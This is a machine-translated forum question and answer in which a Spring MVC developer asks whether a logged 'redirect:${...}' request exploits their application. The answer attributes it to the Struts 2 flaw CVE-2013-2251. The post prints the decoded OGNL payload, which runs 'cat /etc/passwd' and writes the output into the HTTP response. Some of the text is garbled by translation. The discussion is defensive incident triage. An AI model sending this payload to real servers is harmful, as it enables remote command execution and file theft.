2014-04-07 3 views
1

나는 스프링 MVC (3.2.x)와 스프링 시큐리티 (3.1.x)를 사용하는 공개 웹 애플리케이션을 가지고있다. 이 악용하려는 봄 "리디렉션 :"EL 취약점?

GET /MyWebAppPath/login.do?redirect:${Some URL-encoded EL code here}

된 봄 어떤 버그의보고와 기능 : 오늘 아침에 나는 우리의 액세스 로그에 다음과 같은 형식의 요청을 관찰? Spring (또는 다른 코드)이 EL 표현을 평가하는 조건은 무엇입니까?

내게는 ?redirect: 매개 변수가 무시 된 것처럼 보입니다.하지만 취약성이 있는지 확인하기 위해 어디에서 봐야할지 모르기 때문에 긴장됩니다. 내 모든 인터넷 검색은 관련없는 것들을 나타 냈습니다 (내가 말할 수있는 최선의 방법).

${ }의 코드가 실제로 실행 된 경우 /etc/passwd의 내용을 클라이언트에 덤프하려고 시도했을 것입니다. (다행히이 실행되지 않았다 않을 것 같습니다 플러스 해당 파일은 우리의 시스템에 존재하지 않습니다 그리고 우리 Tomcat은 제한된 권한을 가진 사용자로 실행...)


편집 : 여기에 내부이었다 실제 코드는 ${ }는, 개행을 디코딩 한 후에 추가 가독성 도움 :

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(), 
#b=#a.getInputStream(), 
#c=new java.io.InputStreamReader(#b), 
#d=new java.io.BufferedReader(#c), 
#e=new char[50000], 
#d.read(#e), 
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), 
#matt.getWriter().println(#e), 
#matt.getWriter().flush(), 
#matt.getWriter().close() 
+0

내 생각에 Spring은 쿼리 매개 변수와 같은 신뢰할 수없는 소스를 결코 평가하지 않기를 바랍니다. 그러나 다시, 그것은 심지어 유효한 것이 아닙니다. – Bart

답변

0

에스 correcto, 사령관 vulnerabilidad ES exclusiva 드 스트럿 2 Y 사령관 documentada 코모 CVE-2013년부터 2251년까지. tienes de que preocuparte con SPRING MVC.

맞아요,이 취약점은 Struts 2와 is documented as CVE-2013-2251에만 있습니다. Spring MVC에 대해 걱정할 필요가 없다.

+1

영어로 된 것들에 반응하는 것은 정책이라고 생각합니다. 나는 번역을 추가했다. –